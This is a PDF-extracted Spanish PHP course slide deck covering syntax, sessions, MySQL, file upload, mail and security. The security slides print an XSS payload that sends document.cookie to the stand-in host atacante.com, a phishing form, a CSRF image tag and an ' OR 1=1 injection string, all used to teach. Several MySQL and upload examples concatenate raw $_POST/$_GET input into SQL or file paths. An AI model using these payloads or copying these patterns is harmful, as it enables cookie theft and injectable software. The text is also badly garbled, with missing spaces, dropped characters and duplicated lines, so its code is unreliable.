Escolar Documentos
Profissional Documentos
Cultura Documentos
Ing.CarlosDavidMontellano
Ing Carlos David Montellano Barriga
Hypertext Preprocessor
Originalmenteseconocacomo
PersonalHomePage
ProcesamientodelLadodelServidor
QueesPHP?
Ides paraPHP
Sintaxis del Lenguaje PHP
SintaxisdelLenguajePHP
ManejodeCadenas
FuncionesyLibreras
EnvidedatosmedianteGET,POST
ProgramacinOrientadaaObjetosconPHP
SesionesyCookies
AccesoaBasedeDatos
ManejodeArchivos
Seguridad
EnvideCorreos
GrficosenPHP
Frameworks enphp
15/09/2014
Servidor procesa
Solicitud y genera
dinmicamente
archivo en html
Tecleamos una
direccin URL
en el navegador
www.usfx.edu.bo
El navegador se encarga de
interpretar el cdigo html y
mostrar el resultado
Lenguajedeprogramacininterpretado
DesarrolladoparafuncionarenelWebypuedeser
incrustadodentrodecdigoHTML.
IngresaCdigoPHPcomosuentradaycreando
pginasWebcomosalida.
15/09/2014
LenguajeMultiplataforma
Capacidaddeconexinconmayoramanejadoresdebasede
datos. Destaca su conectividad con MySQL.
datos.DestacasuconectividadconMySQL.
Capacidaddeexpandirsupotencial(llamadosext's o
extensiones).
FcildeAprender,existeampliadocumentacin
funcionesdelsistemaestnexplicadasensusitiooficialwww.php.org
RpidaEjecucin
ServidoresPHPsonestables,fcilesdemantenerymas
y
baratos.
PHPtieneunainfinidaddelibrerasyframeworks ytodasson
gratuitas.
PHPesmssencillodeaprender.
15/09/2014
Eslibre,porloquesepresentacomounaalternativa
defcilaccesoparatodos.
PermitelastcnicasdeProgramacinOrientadaa
Objetos.
PHP
Php esunleguajeinterpretado(elservidorinterpreta
elcdigocadavezquelovaautilizar)locualafectaa
surendimiento.
Php dependedequesucomunidadreaccionede
algunauotramaneraantelosreportesdebugs.
Velocidaddedesarrollo:.PHPesrpidosiseusa
algnframework.
Lalegibilidaddelcdigopuedeverseafectada.
15/09/2014
IDES
IDEs(Integrated Development Environment)=EntornosdeDesarrollo
Integrados
PDT,plugin Eclipse:GPL (Sun).
NetBeans:(instalarplugin
NetBeans: (instalar plugin paraphp)libre,paralinux
para php) libre para linux ywindows.
y windows
Zend Studio:Comercial (Zend).
Komodo IDE:Komodo Edit,libreygratuito,elIDEeslicenciacomercial
(Mozilla).
NuSphere PhpED:Comercial,paralinux ywindows.
Quanta:GPLygratuito,paraGNU/linux conQT.
Bluefish:GPLygratuito,paraGNU/linux conGTK.
phpDesigner:ComercialyFreeware,paralinux ywindows.
RapidPHP:Comercial,parawindows.
Dream weber:Adobe
Dokuwiki
Drupal
Facebook
Joomla
MediaWiki
Moodle
Phorum
phpMyAdmin
PHPNuke
phpPgAdmin
PhpWiki
PmWiki
Zikula (anteriormente
llamadoPostNuke)
Smarty
SPIP
SugarCRM
vBulletin
WordPress
Xaraya
X
Xoops
Joomla
MODx
SMF
15/09/2014
<html>
<head>
<title>EjemplodePHP</title>
</head>
primer.php
<body>
PartedeHTMLnormal.
<BR><BR>
<?php
echo"PartedePHP<br>";
EtiquetaparacodigoPHP
for($i=0;$i<10;$i++)
{
echo"Linea ".$i."<br>";
$
}
?>
</body>
</html>
Todaslasvariablescomienzanconelsmbolodeldlar$
Noesnecesariodefinirunavariableantesdeusarla.
Tampocotienentipos,esdecirqueunamismavariablepuede
contenerunnmeroyluegopuedecontenercaracteres.
variables.php
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$a = 1;
$a=1;
$b=3.34;
$c="HolaMundo";
echo$a,"<br>",$b,"<br>",$c;
?>
</body>
</html>
15/09/2014
$nombrematriz =array();
Esposibleasignarsusvalores
$vocales = array ('a','e','i','o','u');
Luegoparaacceder
$vocales[2]='i';
echo$vocales[1];
$
[ ];
echo$vocales[3];
//Comentartexto
/* Comentartextodemuchaslineas */
# Comentartexto
15/09/2014
Operadores Aritmticos
Operadores Relacionales
Operadores Lgicos
Operadores de Asignacin
Operador
if (<condicion 1>)
{ <declaracion 1>; }
Else
{ <declaracion 2>; }
mayor.php
<html>
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$a=8;
$b=3;
if ($a<$b)
{
echo"aesmenorqueb";
}
else
{
echo"anoesmenorqueb";
}
?>
</body>
</html>
Descripcin
Ai
Asigna
+=
Adiciona y asigna
Resta y asigna
*=
Multiplica y asigna
/=
Divide y asigna
%=
.=
Concatena y asigna
switch (<expresion>)
{
case <literal o tipo>: < declaraciones >;
[break;]
case <literal o tipo>: < declaraciones >;
[break;]
default: < declaraciones >;
}
casos.php
casos php
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$posicion ="arriba";
switch($posicion){
case"arriba": //Bloque1
echo"Lavariablecontiene";
echo"elvalorarriba";
break;
break;
case"abajo": //Bloque2
echo"Lavariablecontiene";
echo"elvalorabajo";
break;
default: //Bloque3
echo"Lavariablecontieneotrovalor";
echo"distintodearribayabajo";
}
?>
</body>
</html>
15/09/2014
for (<inicializacion>;<condicion>;<incremento>)
{
<declaraciones>;
}
while (<condicion>)
{
< declaraciones >;
}
mientras.php
numeros.php
<html>
<head>
<title>EjemplodePHP</title>
<title>Ejemplo de PHP</title>
</head>
<body>
Inicio<BR>
<?php
$i=0;
while ($i<10)
{
echo"Elvalordeies",$i,"<br>";
$i++;
}
?>
Fi l BR
Final<BR>
</body>
</html>
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
Inicio<BR>
<?php
for($i=0;$i<10;$i++)
{
echo"Elvalordeies",$i,"<br>";
}
?>
Final<BR>
</body>
</html>
/* Creo un array */
$las_vocales = array ('a','e','i','o','u');
/* Recorro el array utilizando foreach */
foreach ($las_vocales as $elem) {
echo $elem.'<br>';
}
print '<br>';
/* Es equivalente a realizar */
for ($i=0;$i<count($las_vocales);$i++) {
echo $las_vocales[$i].'<br>';
}
<?
vocales2.php
/* Creo un array */
$las_vocales = array ('a','e','i','o','u');
/* Recorro el array utilizando foreach */
foreach ($las_vocales as $indice=> $elem)
{
echo $elem.' en el indice: '.$indice.'<br>';
}
?>
?>
15/09/2014
Hastaahorahemosusadolainstruccinechopararealizarsalidaapantalla,estainstruccines
bastantelimitadayaquenonospermiteformatearlasalida.Enestapginaveremosla
instruccinprintf quenosdamuchamspotencia
salidas.php
<html>
h l
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$var="texto";
$num=3;
printf("Puedefcimente intercalar<b>%s</b>connmeros
<b>%d</b><br>",$var,$num);
printf("<TABLEBORDER=1CELLPADDING=20>");
for ($i=0;$i<10;$i++)
{
printf("<tr><td>%10.d</td></tr>",$i);
}
printf("</table>");
?>
</body>
</html>
strlen(cadena).Nosdevuelveelnmerodecarcteres deuna
cadena.
explode(separador,cadena).Divideunacadenaenvarias
explode(separador cadena) Divide una cadena en varias
usandouncarcterseparador.
substr(cadena,inicio,longitud).Devuelveunasubcadena de
otra,empezandoporinicioydelongitudlongitud.
chop(cadena).Eliminalossaltosdelneaylosespaciosfinales
deunacadena.
strpos(cadena1,cadena2).Buscalacadena2dentrode
cadena1indicndonoslaposicinenlaqueseencuentra.
str_replace(cadena1,cadena2,texto).Reemplazalacadena1
porlacadena2eneltexto.
10
15/09/2014
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
p p
echostrlen("12345"),"<br>";
cadenas.php
$palabras=explode("","Estoesunaprueba");
for($i=0;$palabras[$i];$i++)
echo$palabras[$i],"<br>";
$resultado=sprintf("8x5=%d<br>",8*5);
echo$resultado,"<br>";
echosubstr("Devuelveunasubcadena deotra",9,3),"<br><br>";
if (chop("Cadena\n\n")=="Cadena")
echo"Iguales<br><br>";
echostrpos("Buscalapalabradentrodelafrase","palabra"),"<br><br>";
echostr_replace("verde","rojo","Un pezdecolorverde,comoverdeeslahierba."),"<br>";
?>
</body>
</html>
function Nomre(parametro1,parametro2...)
{
instruccin1;
instruccin2;
return valor_de_retorno;
}
media.php
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
function media_aritmetica($a,$b)
{
$media=($a+$b)/2;
return $media;
}
echomedia_aritmetica(4,6),"<br>";
echomedia_aritmetica(3242,524543),"<br>";
?>
</body>
</html>
11
15/09/2014
Permitenagruparvariasfuncionesyvariablesenunmismofichero
Podemosincluirlibrerasendistintaspginasydisponerdeesasfuncionesfcilmente
pagina.php
libreria.php
<?php
function CabeceraPagina()
{
?>
<FONTSIZE="+1">Estacabeceraestarentodas
suspginas.</FONT><BR>
<hr>
<?
}
function PiePagina()
{
{
?>
<hr>
<FONTSIZE="1">Esteeselpiede
pgina.</FONT><BR>
Autor:CarlosMontellano
<?
}
?>
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php include("libreria.php")?>
<?php CabeceraPagina();?>
Pgina1
<BR><BR><BR><BR><BR>
Contenidoblalbl blalb alb<BR><BR>
mscosas...<BR><BR>
fin<BR><BR>
<?php PiePagina();?>
</body>
</html>
formulario.html
<html>
<head>
<title>EjemplodePHP</title>
j p
/
</head>
<body>
<H1>Ejemplodeprocesadode
formularios</H1>
Introduzcasunombre:
<FORMACTION=recibir.php"
METHOD="GET">
<INPUTTYPE="text"
NAME="nombre"><BR>
<INPUTTYPE="submit"VALUE="Enviar">
</FORM>
</body>
</ht l>
</html>
recibir.php
recibir php
<html>
<head>
<title>RecibirPHP</title>
</head>
<body>
<H1>Ejemplodeprocesadode
formularios</H1>
Elnombrequehaintroducidoes:<?php echo
$_GET['nombre']?>
<br>
</body>
</html>
/
12
15/09/2014
Arraysnumricos elndiceesnumrico,de0en
adelante
Ejemplodeunarrayencadena
Ej
l d
d
$ciencias=array(Fsica,Qumica,Biologa);
Ejemplodeunarrayporndice
$ciencias[0]=Fsica;
$ciencias[1]=Qumica;
$ciencias[2]=Biologa;
13
15/09/2014
A|B|C|D|E|F
G|H|I|J|K|L
$array[0][0]=A
$array[0]=array quecontienelosvaloresA|B|C|D|E|F
$array[1]=array quecontienelosvaloresG|H|I|J|K|L
$array[0][1]=B,
$array[0][2]=C,
$array[0][3]=D
rellenar.php
$columnas=7;
$filas =3;
$filas
3;
for($i=0;$i<$columnas;$i++)
{
for($j=0;$j<$filas;$j++)
{
$matriz[$i][$j]=$i*$j;
}
}
14
15/09/2014
Accesoapropiedadesymtodosdentro
Acceso a propiedades y mtodos dentro
delamismaclase:
$this>nombrepropiedad
$this>nombremetodo
persona.php
<?php
class persona
{
var $nombre;
function set_nombre($nuevo_nombre){
$this>nombre=$nuevo_nombre;
}
function get_nombre(){
return $this>nombre;
}
}?>
Declararyusarclases
$variable=newnombre_clase ();
$
$variable>
funcion_nombre ();
()
nombre_clase ::funcion_nombre();(Llamadaesttica).
usarpersona.php
<?php include(persona.php");
$juan =newpersona();
$ricardo =newpersona;
$
p
;
$juan >set_nombre(JuanPerez");
$ricardo >set_nombre(RicardoMartinez");
echoNombre completo deJuan:".$juan>get_nombre();
echo"Nombre completo deRicardo:".$ricardo>get_nombre();
?>
15
15/09/2014
Mtodoqueseejecutaalinstanciarlaclase,para
iniciarpropiedades
<?php
class persona{
var $nombre;
function __construct($nombrepersona){
$this>nombre=$nombrepersona;
}function set_nombre($nuevonombre){
$this>nombre=$nuevonombre;
}
public
private
<?php include(persona.php");?>
</head>
<body>
<?php
$carlos =newpersona(carlos
montellano ");
echoNombre Completo:".$carlos
>get_nombre();
?>
</body>
</html>
modificadorpordefecto.SignificaquesinolocolocasseasumequeesPublico.
sololamismaclasepuedeaccederalapropiedad.
protected
sololamismaclaseylasclasesderivadasdeestaclasepuedenaccederalapropiedad
<?php
class person {
var $name;
public $height;
protected $social_insurance;
private $pinn_number;
function __construct($persons_name){
$this>name =$persons_name;
}
private function get
return $this>$pinn_number;
}
?>
16
15/09/2014
//'extends'eslapalabraclavequepermitela
herencia
class empleadoextends persona{
function __construct($nombre_empleado){
$this>set_name($nombre_empoleado);
}}
HTTPsinestado
ConexionespormediodeHTTPnomantienenun
p
estado.
Nosepuedenmantenervariablesenlaconexin.
Sehaninventadomecanismosparateneruna
especiedeestado,
cookies,quepermitenguardarunestadodelladodel
,q p
g
cliente
lassesiones,quepermitenguardarunestadodellado
delservidor.
17
15/09/2014
ServidorcuandoregresaunobjetoHTTPalclientepuede
enviartambinunpaquetedeinformacindeestadoqueel
clientevaaalmacenardemanerapersistente.
cliente va a almacenar de manera persistente
IncluidoconeseestadoseencuentraunrangodeURLs para
loscualeseseestadoesvlido.
CualquiersolicitudHTTPfuturahechaporelclientequecaiga
dentrodetalrangovaaincluirunatransmisindelvalor
actualdelobjetodesdeelclientealservidor.
Funcinsetcookie defineunacookieparaserenviadaconla
informacindeencabezado.
Debeserenviadaantesdecualquierotrainformacinde
Debe ser enviada antes de cualquier otra informacin de
encabezado.
Sintaxis:
int setcookie (string name,string value,int expire,string path,string
domain,int secure)
cookie.php
<?php
(
, p
,
()
); /
p
/
setcookie("CookieDePrueba","prueba",time()+3600);/*expiraen1hora*/
setcookie("arreglo[tres]","cookietres",time()+3600);
setcookie("arreglo[dos]","cookiedos",time()+3600);
setcookie("arreglo[uno]","cookieuno",time()+3600);
if (isset($_COOKIE["CookieDePrueba"])){
echo$_COOKIE[CookieDePrueba];
}
echo"<br>";
if (isset($_COOKIE[arreglo])){
foreach ($_COOKIE[arreglo]as$name=>$value)
{
echo"$name ==$value<br>\n";
}
}
?>
18
15/09/2014
PHPtieneapoyoparaconservarestadoconsesiones.
Sesionesmantienenvariablesenelladodelservidor.
Acadavisitantequeaccedealapginaseleasigna
unidentificadornico,llamado"session id"
(identificadordesesin).
stesealmacenaenunacookieporpartedelusuario
osepropagaenlaURL(mtodoGET).
Permiteregistrarunnmeroarbitrariodevariables
queseconservarnenlassiguientessolicitudes.
pagina.php
<?php session_start();?>
Seha
S h
enviado
sessio
n_id
SI
recreanlasvariablesque
sehabanguardado
anteriormente
NO
Creasession id
19
15/09/2014
sesion.php
<?php session_start();
if (isset($_SESSION[
contador ])){{
(isset($ SESSION['contador']))
$_SESSION['contador']++;
}
else {
$_SESSION['contador']=0;
}
?>
borrarunavariablecon$_SESSION:
borrarsesion.php
borrarsesion php
<?php
session_start();
unset($_SESSION['contador'
]);
session_destroy();
?>
20
15/09/2014
dbase
dbm
db++
FrontBase
filePro
Informix
InterBase
IngresII
SQLServer
mSQL
Mysql
Oracle
OvrimosSQLServer
P t SQL
PostgreSQL
SESAM
Sybase
PHPtambintieneinterfacesabstractas:
DBA(DataBase Abstraction)
DBX
ODBC
Pgina
PHP
orden SQL
Base de
datos
resultado
21
15/09/2014
MySQL esunsistemadebasesdedatosdesarrollado
originalmenteporMySQL AB.Actualmentela
controlaORACLE
l
ElsistemadebasesdedatossedabajolicenciaGPL
queesunalicenciadesoftwarelibreosevendebajo
unalicenciacomercial.
CaractersticasdeMySQL
Modelorelacional,multiusuario
Tiposdedatos
Numricos
tinyint,smallint,mediumint,int,integer,bigint
decimal,float,numeric
Fechayhora
Cadena
date,time,datetime,year,timestamp
char,varchar
tinytext,text,mediumtext,longtext
tinyblob,blob,mediumblob,longblob
enum set
enum,set
Debeelegirseadecuadamenteeltipoyeltamaodecadacampo
22
15/09/2014
Operadores
Aritmticos
Comparacin
Lgicos
+,,*,/
=,!=,<=,<,>=,>,ISNULL,ISNOTNULL
not (!),and(&&),or (||),xor
Funciones
Funcionesdecadena
Funcionesdecomparacindecadenas
Funcionesnumricas
Funcionesdefechayhora
Funcionesdeagregado
phpMyAdmin esunaherramientaparalaadministracindel
servidordebasesdedatosMySQL
Disponedeunainterfazgrficayesdelibredistribucin
Permiterealizartodotipodeoperacionessobrebasesde
datos:
crear,borrarymodificartablas
consultar,insertar,modificaryeliminardatos
definirusuariosyasignarpermisos
realizarcopiasdeseguridad
etc
Estescritaenphp
E
i
h yseejecutadesdeelnavegador
j
d d l
d
Puedeadministrarbasesdedatoslocalesyremotas
23
15/09/2014
LasfuncionesconcretasdeMySQLquerealizanestas
operaciones son:
Conectarconelservidordebasesdedatos:
mysql_connect()
Seleccionarunabasededatos:
mysql_select_db()
EnviarlainstruccinSQLalabasededatos:
mysql_query()
Obteneryprocesarlosresultados:
mysql_num_rows()ymysql_fetch_array()
Cerrarlaconexinconelservidordebasesdedatos:
mysql_close()
24
15/09/2014
servidor
usuario
password
conectarse.php
p p
<?php
$link=mysql_connect (localhost","root",")
or die(Nosepuede conectaralservidor");
echoConexinExistosa");
mysql_close ($link);
?>
Conectarse
bd.php
1
2
3
4
<?php
p p
$link=mysql_connect (localhost","root",")
or die(Nosepuede conectaralservidor");
mysql_selectdb(dbagenda);
Seleccionar bd
$result=mysql_query ("SELECT*Agenda")
ordie(Consulta invlida!");
mysql_close ($link);
?>
Consulta
Cerrar conexion
25
15/09/2014
listar.php
<?php
include('conexion.php');
$sql ="select ID,Nombres,Direccion,Telefono,Email,Celular,IdProfesion from agenda";
$consulta=mysql_query($sql,$link);
?>
<table width="100%"border="1">
<tr>
<td>Nombres</td>
<td>Direccion</td>
<td>Telefono</td>
<td>Email</td>
<td>Celular</td>
</tr>
<?php
while ($fila=mysql_fetch_array($consulta)){
?>
<tr>
<td><?php echo$fila['Nombres']?></td>
<td><?php echo$fila['Direccion']?></td>
<td><?php echo$fila['Telefono']?></td>
<td><?php echo$fila['Email']?></td>
<td><?php echo$fila['Celular']?></td>
</tr>
<?php
}
?>
</table>
finsertar.html
<form id="form1"name="form1"method="post"
action='javascript:insertarPersona()'>
Nombres
<inputname="txtNombres"type="text"id="txtNombres"/>
<br />
Direccin<inputtype="text"name="txtDireccion"id="txtDireccion"
"
"
"
" "
"
/><br />
Telefono <inputtype="text"name="txtTelefono"id="txtTelefono"
/><br />
Email<inputtype="text"name="txtEmail"id="txtEmail"/><br />
Celular<inputtype="text"name="txtCelular"id="txtCelular"/>
<br />
insertar.php
<inputtype="submit"name="button"id="button"value="Enviar"/>
<?php
<inputtype="reset"name="button2"id="button2"value="Limpiar"
include('conexion.php');
/>
$sql ="insert into agenda(
</form>
Nombres,Direccion,Telefono,Email,Celular)
<?php
?>
values
('$_POST[txtNombres]','$_POST[txtDireccion]','$_POST[txtTe
lefono]','$_POST[txtEmail]','$_POST[txtCelular]')";
//echo$sql;
$consulta=mysql_query($sql,$link);
if (isset($consulta))
{echo"Elementoinsertadoconexito";
}
?>
26
15/09/2014
feditar.html
<?php
include('conexion.php');
$sql ="select *from agendaWHEREID=".$_GET['id'];
$consulta=mysql_query($sql,$link);
if (isset($consulta))
{
$fila=mysql_fetch_array($consulta);
}
?>
<form id="form1"name="form1"method="post"action='editar.php'>
Nombres
<inputtype="text"name="txtNombres"id="txtNombres"value="<?php echo$fila['Nombres']?>"/><br />
Direccin
<inputtype="text"name="txtDireccion"id="txtDireccion"value="<?php echo$fila['Direccion']?>"/><br />
Telefono
<inputtype="text"name="txtTelefono"id="txtTelefono"value="<?php echo$fila['Telefono']?>"/><br />
Email
<input type="text"
<inputtype
text name
name="txtEmail"
txtEmail id
id="txtEmail"
txtEmail value
value="<?php
<?php echo$fila[
echo $fila['Email']
Email ]?>
?>"/><br
/><br />
Celular
<inputtype="text"name="txtCelular"id="txtCelular"value="<?php echo$fila['Celular']?>"/><br />
Profesion
<inputtype="hidden"name="txtID"id="txtID"value="<?php echo$_GET['id'];?>"/><br />
<inputtype="submit"name="button"id="button"value="Enviar"/>
<inputtype="reset"name="button2"id="button2"value="Limpiar"/>
</form>
editar.php
<?php
include('conexion.php');
$sql ="update agendaset
Nombres='$_POST[txtNombres]',Direccion='$_
POST[txtDireccion]',Telefono='$_POST[txtTelef
ono]',Email='$_POST[txtEmail]',Celular='$_POS
T[txtCelular]'where ID=".$_POST['txtID'];
//echo$sql;
$consulta=mysql_query($sql,$link);
if (isset($consulta))
{echo"Cambiosrealizadoscon
exito";
i "
}
?>
27
15/09/2014
eliminar.php
<?php
include('conexion.php');
$id=$_GET[
id ];
$id=$ GET['id'];
$sql='delete from agendawhere ID='.$id;
$consulta=mysql_query($sql,$link);
?>
Elementoeliminadoconexito
Funcionestiles
Copiar:
copy($origen,$destino)
Renombrar:
rename($antes,$despues)
Eliminar:
unlink($archivo)
28
15/09/2014
directorio.php
<?php
$directorio="./";
$descriptor
$descriptor =opendir($directorio);
opendir($directorio);
while ($entrada=readdir($descriptor)){
if (is_dir($directorio.$entrada)){
echo"[Directorio]".$entrada."<br>;
}elseif (is_file ($directorio.$entrada)){
echo"[Fichero]".$entrada."<br>";
}
}
closedir($descriptor);
?>
Significado
Slo lectura
r+
Lectura y escritura
Slo
escritura, si no existe el archivo lo crea, si existe lo trunca
w+
a+
29
15/09/2014
Lecturadearchivos
variable=fgets(file_handler, longitud)
variable=fread(file_handler, cantidad)
Escrituradearchivos
Cierre de archivos
fclose(file_handler)
Fin de archivo
boolean = feof(file_handler);
30
15/09/2014
escribir.php
<?php
$archivo = "miarchivo.txt";
$id = fopen($archivo, 'w+');
$cadena = "Aqu lo que queremos escribir".PHP_EOL;
fwrite($id, $cadena);
fwrite($id, "La segunda linea de lo que queremos escribir".PHP_EOL);
fwrite($id, "La tercera linea de lo que queremos escribir");
fclose($id);
?>
leer.php
<?php
header("ContentType:text/html;charset=utf8");//enviar
lacabeceraparautilizarutf
$d
$descriptor=fopen
i
f
(" i hi
("miarchivo.txt","a+");
" " ")
$linea_numero =1;
while (!feof($descriptor)){
$linea =fgets ($descriptor,4096);
echo"lneanmero:$numero_linea es:$linea","<BR>";
$linea_numero++;
}
fclose($descriptor);
?>
Muchasvecesseenviarunarchivoalservidorjuntoconla
peticinhttp
ElarchivodebeserenviadomedianteelmtodoPOST
El archivo debe ser enviado mediante el mtodo POST
Existeuntipoespecialdeinputparaestetipofile.
<inputtype=file>
ALformulariosedebeespecificarelatributopara
quetengalacapacidaddeenviararchivos
enctype="multipart/form-data"
t
" lti
t/f
d t "
31
15/09/2014
archivo.php
multipart/form-data:Permite subir
datos y archivos en un mismo
formulario.
Unavezenelservidor,elarchivosealmacenaenundirectorio
temporal.
Lainformacindelarchivoesrecibidaenlavariable$_FILES[]
La informacin del archivo es recibida en la variable $ FILES[]
conelnombredelinput
$_FILES[nombre][name]:Nombreoriginaldelarchivodelcliente
$_FILES[nombre][tmp_name]:Nombredelarchivotemporalenel
servidor.
$_FILES[nombre][type]:Tipodearchivo
$_
$ FILES[nombre][size]:Tamaoenbytesdelarchivo.
[
][ ]
y
$_FILES[nombre][error]:Errorasociadoal archivo.
Enbaseaestainformacinsedecidequehacercon
elarchivorecibido
32
15/09/2014
subir.php
<?php
header("Content-Type:text/html;charset=utf-8");
//Informacin del Archivo
$nombre_archivo = $_FILES['nArchivo']['name'];
$tamano_archivo = $_FILES['nArchivo']['size'];
$nombre_temporal= $_FILES['nArchivo']['tmp_name'];
foreach ($_FILES["nArchivo"] as $indice => $valor)
{
echo "$indice: $valor<br>";
}
//compruebo si las caractersticas del archivo son las que deseo
if ($tamano_archivo > 100000)
{
echo "El tamao de archivo incorrecto.Tamao maximo 100 Kb mximo. ";
}
else
{
if(copy($nombre_temporal,"images/".$nombre_archivo))
echo "El archivo ha sido cargado correctamente.";
else
echo "Ocurri algn error al subir el fichero. No pudo guardarse.";
}
?>
Ficherophp.ini:
Permitirsubirficherosalservidor
Permitir subir ficheros al servidor
file_uploads =On
Seleccionamosundirectoriotemporalpara
losarchivos
upload_tmp_dir:carp_temp/
Tamaomximodelosarchivos.
Tamao mximo de los archivos
upload_max_filesize =2M
33
15/09/2014
Ungranpoderconlleva
Unagranresponsabilidad
display_errors =Off
log_errors =On
error reporting =E_ALL(reportar
error_reporting
= E ALL (reportar errores)
session.save_path=/opt/php/session
session.gc_maxlifetime=600(10minutos deinactividad)
safe_mode =On(activar si es posible)
safe_mode_gid =On(activesi es posible)
34
15/09/2014
register_globals = Off
Nunca colocar en on , porque es facil escribir codigo
inseguro
Inicializa automaticamente variables desde Get/Post/Cookie
data
URL= index.php?administrator=xyz
<?php
if (isset($administrator))
{
$ th i d = true;
$authorized
t
}
?>
Seaprovechandelaconfianzadelusuarioenlaaplicacin
ELPROBLEMA
Comonotratamoslaentradadelusuariodeningunaforma,dejamosla
Como no tratamos la entrada del usuario de ninguna forma, dejamos la
puertaabiertaaquesemuestrecualquiertipodecdigoHTMLennuestra
pgina.
formxss.php
<formaction="http://atacante.com/captura.php">Usuario:<inputtype="text"
name="usuario"/><br/>Contrasea:<inputtype="text"name="pass"/><input
type=submit/></form>
http://localhost/index.php?mensaje=<script>document.location='http://atacante.
com/captura.php?cookies='+document.cookie</script>
35
15/09/2014
Explotalaconfianzadeunsitiowebenunusuario
LavctimadelataquelanzaunapeticinHTTPsin
saberlo,normalmenteaURLs
Querequierendeunaccesoprivilegiado.
Elescapadoevitarquetuaplicacinsirvade
vehculoparaataquesCSRFperonoevitarquelos
recibas.
<img src="http://sitio-de-compras.com/comprar.php?PHPSESSID=IS& articulos=AR&domicilio-envio=DE&...
/>
SQLinjections oinyeccindeSQL
Unusuarioutilizaalgunadelasentradas(normalmente
f
formularios)paramodificarlassentenciasSQLenla
l i )
difi l
i
l
aplicacin.
LasentradasconsistenencdigoSQLparcial,que
combinadoconelexistentedalugarauncomportamiento
nodeseado
Cmoprotegerse:escapalosparmetrosdetussentencias
SQL
36
15/09/2014
Formlogin.html
<form action=login.phpaction=POST>
usuario:<inputtype=textname=usuario/>
<br />
contrasea:<inputtype=
password name=
password />
contrasea: <input type=password
name=password
/>
<br />
<inputtype=submit/>
</form>
autenticar.php
$usuario=$_POST[usurio'];
$password =$_POST['password'];
$sql =SELECT
SELECT*FROMusuarios
FROM usuarios
WHEREusuario='{$usuario}'
ANDpassword ='{$password}';
//Continuamosconelresto
if(count($results)>0){//login }
SELECT*
FORMusuarios
FORM
i
WHEREusuario='adm'
OR1=1
ANDpassword ='contrasea'
37
15/09/2014
Sloexisteunafuncinparaenviarcorreo
electrnicodesdePHP5.
Lafuncinmail()devolverunvalortruesilosdatos
sonenviadoscorrectamente.
mail.php
<?php
$resultado=mail("carlosmontellano@gmail.com","EjemplodeAsunto","Cuerpodelmensaje");
if ($resultado){
echo "Correo
echo
Correoenviadocorrectamente
enviado correctamente";;
}else {
echo"Elcorreonohapodidoenviarse";
}
?>
maildetalle.php
<?php
$correo="luis@nccextremadura.org";
$asunto="EjemplodeAsunto";
$cuerpo="Cuerpodelmensaje";
$cabecera="From:
fernanda@\r\nbcc:pedro@nccextremadura.org\r\nContent
type:text/plain\r\nXmailer:PHP/".phpversion ();
$resultado=mail($correo,$asunto,$cuerpo,$cabecera);
if ($resultado){
echo"Correoenviadocorrectamente";
}else {
echo"Elcorreonohapodidoenviarse";
}
38
15/09/2014
PHPMailer estbasadoenprogramacinorientadaa
objetos.
Contienevariosficherosquedebenguardarseenel
directoriodePHPdedicadoalibrerasoennuestro
espaciodetrabajo.
mail.php
<?php
require_once("phpmailer/class.phpmailer.php");
$correo=newphpmailer();
//Datospersonalesdelemisor
$correo>From ="luis@nccextremadura.org";
$correo>FromName ="LuisMiguelCabezas";
$correo>Subject ="Mensajedeprueba";
$correo>Body ="Cuerpodelmensaje";
//Direccindedestino
$correo>AddAddress("zeev@php.zend.com","Zeev Suraski");
if (!$correo>Send()){
echo"Correoenviadocorrectamente";
}else {
echo"Elcorreonohapodidoenviarse";
}
?>
LalibreragrficaGDestescritaenlenguajeCy
permitecrearymanipulargrficosfcilmente.
Permiteimportaryexportargrficosdedistintotipo
(GIF,JPGyPNG)
imagensimple.php
<?php
$imagen=
imagecreatefrompng("zend.png");
header("Content Type
header("ContentType:
image/png");
imagepng($imagen);
?>
39
15/09/2014
imagen.php
<?php
if (isset($_FILES["fichero"])){
foreach($_FILES["fichero"]as$indice=>$valor)
{
echo$indice,$valor,'<br>';
}
echo"ImagenOriginal:<br>";
$fotografia =$_FILES["fichero"]["tmp_name"];
copy($fotografia,$_FILES["fichero"]["name"]);
$foto_copia =
$_FILES["fichero"]["name"]."&modo=original";
$url =
"clase_imagen.php?fotografia=$foto_copia";
echo"<img src=\"$url\">";
g
;
echo"ImagenMiniatura:<br>";
$foto_copia =
$_FILES["fichero"]["name"]."&modo=miniatura";
$url =
"clase_imagen.php?fotografia=$foto_copia";
echo"<img src=\"$url\">";
}
?>
Esunmecanismodeseguridadparaevitarllenao
automatico deformularios
formcatcha.php
<?php
session_start();
if(isset($_POST["palabra"])){
if($_POST["palabra"]==$_SESSION["oculto"])
die("Felicidades!Haledocorrectamentelapalabra.");
else
die("Nohasadivinadolapalabra.Pruebaotravez");
} else {
}else
?>
<form method="post"action="">
<img src="capucaptcha.php">
<inputtype="text"name="palabra">
<inputtype="submit"value="Comprobar">
</form>
<?php
}
?>
40
15/09/2014
El modelo representa la
informacin con la que trabaja
la aplicacin,
aplicacin es decir,
decir su lgica de
negocio.
2. La vista transforma el modelo en
una pgina web que permite al
usuario interactuar con ella.
3. El controlador se encarga
de pprocesar las interacciones del
usuario y realiza los cambios
apropiados en el modelo o en la
vista.
LosFrameworks ayudaneneldesarrollodesoftware
Proporcionanunaestructuradefinidalacualayudaacrear
aplicaciones con mayor rapidez
aplicacionesconmayorrapidez
SeutilizalaProgramacinOrientadaaObjetos(POO),
permitiendolareutilizacindenuestrocdigo
41
15/09/2014
Zend Framework
Essimple,nonecesitainstalacinespecial,requierePHP5
eincorporaelpatrnMVC.
e incorpora el patrn MVC
Sedebe descargar ycopiarlohacianuestroservidorlocal,
veamosatravsdeunpequeoejemplocmopodemos
crearunlectordeRSS.Losficherosquecreemospodemos
copiarlosdentrodeldirectoriolibrary.
<?php //Componenterequeridorequire_once 'Zend/Feed.php';
// I l i
//Incluimosladireccindenuestroficherorss
l di
i d
t fi h
quedeseamosimportar
d
i
t
$feed =Zend_Feed::import('http://localhost/rss.php');
//Serecorrerntodoslositem delfichero,mostrandoeltituloyelenlace
foreach ($feed>items as$item)
